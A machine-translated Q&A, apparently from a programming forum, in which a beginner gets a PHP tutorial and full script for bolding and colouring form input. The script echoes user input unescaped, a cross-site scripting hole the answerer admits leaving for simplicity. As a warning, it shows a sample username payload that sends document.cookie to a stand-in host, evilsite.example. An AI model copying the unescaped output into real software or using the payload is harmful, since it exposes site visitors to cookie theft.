我是HTML,CSS和PHP的新手,我需要一些帮助。在网上查询如何解决我的问题后,我完全处于迷失状态,老实说找不到任何有用的解决方案,任何帮助或建议都将不胜感激!
我有一个作业,我正在尝试编写一个HTML表单,它将获取用户的输入,以及一串字符和数字,以在单击单选按钮后更改输入的颜色。选中复选框后,我还需要输入粗体。
最后一件事,如何使用php检查字符串是否为粗体?
这就是我所拥有的
<input type="text" class="textBold" id="textInput">
<input type="checkbox" class="checkText" id="checkInput"> <label> Bold Text </label>
这就是css
.checkText:checked + input
{
font-weight: bold;
}
我知道我所拥有的显然是错的。再次,任何帮助将不胜感激!
由于这是一项任务:
<tutorial mode =“on”tldr =“查看底部完成的脚本”>
您希望用户的输入具有某种样式(粗体,彩色),具体取决于表单中的某些选项。首先,您需要一个表单,允许用户输入一些文本,选择外观选项并将其提交给服务器。
这是一个基本的例子:
<form method="post">
<label>Your text: <input type="text" name="input"></label><br><br>
<label><input type="checkbox" name="bold"> Make it bold</label><br><br>
<label><input type="radio" name="color" value="red"> Make it red</label><br>
<label><input type="radio" name="color" value="green"> Make it green</label><br>
<label><input type="radio" name="color" value="blue"> Make it blue</label><br><br>
<input type="submit" value="Do it!">
</form>
注意字段名称:
您还需要在某处显示用户选择的结果。这意味着我们将不得不提前考虑一下:我们如何将用户输入的文本和样式信息传递给HTML代码?显然我们至少需要一个变量,但最理想,最简洁,最干净的方法是什么呢?
有几种方法可以在HTML中设置一段文本的样式。您可以使用内联样式:
<span style="font-weight: bold; color: red">Bold and red!</span>
或者您可以使用类:
<style>
.bold { font-weight: bold; }
.red { color: red; }
</style>
<span class="bold red">Red and bold!</span>
天啊,你甚至可以全力以赴地上学:
<font color="red"><b>Also bold and red!</b></font>
您必须根据自己喜欢的方式自行选择。对于本教程,我将使用CSS类,所以让我们定义它们:
<style>
.bold { font-weight: bold; }
.red { color: red; }
.green { color: green; }
.blue { color: blue; }
</style>
选择这种方式意味着我需要两个PHP变量:一个用于用户输入的文本,另一个用于适用于该文本的CSS类。我将它们命名为$user_input
和$classes
并将它们添加到表单下方:
<div class="<?php echo $classes; ?>">
<?php echo $user_input; ?>
</div>
为了方便起见,我假设您的课程尚未涵盖跨站点脚本,因此我不打算对用户的输入进行消毒,并确保它的显示安全。向老师询问此类事件的风险,例如,如果它是用户拥有个人资料的网站的一部分,并且允许设置自己的用户名,然后为每个网站的访问者呈现粗体/彩色,并输入一些恶意用户像
Bob<script>document.write('<script src="https://evilsite.example/steal?cookies=' + escape(document.cookie) + '"></script>');</script>
这样的用户名。
现在是时候深入研究PHP了。我将把所有代码放在文件的最开头,因为那是我个人觉得它属于的地方。但是对于这个项目来说,只要在你要输出结果的<div>
之前,它就放在哪里并不重要。
首先让我们将两个变量定义为最初为空:
<?php
$user_input = "";
$classes = "";
大。要实际设置其值,我们需要访问用户提交的信息。这些值仅在实际提交表单后才可用。由于我们已将表单的method
属性设置为post
,因此我们可以轻松地检查:
if ($_SERVER['REQUEST_METHOD'] == "POST") {
}
在这些括号内是我们开始工作的地方。当表单使用“post”方法向服务器提交数据时,这些字段将在PHP中从本机$_POST
数组中获得。要检索值,我们需要知道表单中输入字段的名称(参见上文)。因此,用户填写的任何文本都应该在$_POST['input']
中。复选框(如果选中)将在$_POST['bold']
中,颜色(如果有的话)将在$_POST['color']
中。
有一些问题需要考虑:如果未选中该复选框,则不会将其提交给服务器。同样,如果没有选择任何单选按钮,它们也不会被提交给服务器。当你考虑它时这是有道理的,但这也意味着如果没有选中复选框,只需访问$_POST['bold']
就会给你一个“未定义的索引”警告(因为在$_POST
数组中没有名为“bold”的索引)。幸运的是,我们可以使用PHP的isset()
函数来检查是否设置了值。
现在您也知道为什么我们需要先使用空值定义变量:如果请求方法不是“POST”(即:如果用户首先打开表单但尚未提交表单),我们将不会做任何事情,当我们试图显示它们时,我们可以获得“未定义的变量”通知。
首先让我们填充我们的$user_input
变量,因为那是最简单的:
$user_input = $_POST['input'];
填写$classes
变量需要一些条件检查。我们首先检查是否需要将文本设为粗体:
if (isset($_POST['bold'])) {
$classes .= "bold";
}
请记住:如果未选中该复选框,则$_POST['bold']
将不存在。所以我们不需要检查任何具体的值;如果它存在,我们需要使文本变粗。就那么简单。
接下来是颜色:
if (isset($_POST['color'])) {
$classes .= " ";
$classes .= $_POST['color'];
}
那个空间是为了确保课程分开。如果我们没有设置“粗体”类并不重要,浏览器将简单地忽略该情况下的空间。如果我们不添加空格,我们冒险使用名为“boldgreen”的类而不是两个类“bold green”。请注意,在此示例中,我将CSS类命名为与颜色相同。只要我们的单选按钮的值与它们相匹配,我们也可以将它们命名为“漂亮”,“漂亮”和“独角兽”。
所以现在,如果用户输入了文本“Hello,world!”,选中了复选框并选中了蓝色单选按钮,$user_input
将是“Hello,world!”和$classes
将是“大胆的蓝色”,将呈现为:
<div class="bold blue">
Hello, world!
</div>
<tutorial mode =“off”>
把这一切放在一起,我们最终得到以下文件:
<?php
$user_input = "";
$classes = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$user_input = $_POST['input'];
if (isset($_POST['bold'])) {
$classes .= "bold";
}
if (isset($_POST['color'])) {
$classes .= " ";
$classes .= $_POST['color'];
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Assignment</title>
<style>
.bold { font-weight: bold; }
.red { color: red; }
.green { color: green; }
.blue { color: blue; }
</style>
</head>
<body>
<form method="post">
<label>Your text: <input type="text" name="input"></label><br><br>
<label><input type="checkbox" name="bold"> Make it bold</label><br><br>
<label><input type="radio" name="color" value="red"> Make it red</label><br>
<label><input type="radio" name="color" value="green"> Make it green</label><br>
<label><input type="radio" name="color" value="blue"> Make it blue</label><br><br>
<input type="submit" value="Do it!">
</form>
<div class="<?php echo $classes; ?>">
<?php echo $user_input; ?>
</div>
</body>
</html>
在行动here看到它。
我鼓励你玩这个。添加一些不同的颜色,可能添加另一个复选框以使文本为斜体或下划线。也许添加一组不同的单选按钮来选择字体或文本大小。如果你赶时间,复制/粘贴是好的,但你需要编辑/体验才能真正学习。
不要忘记有很多方法可以刮胡子,这只是一个例子。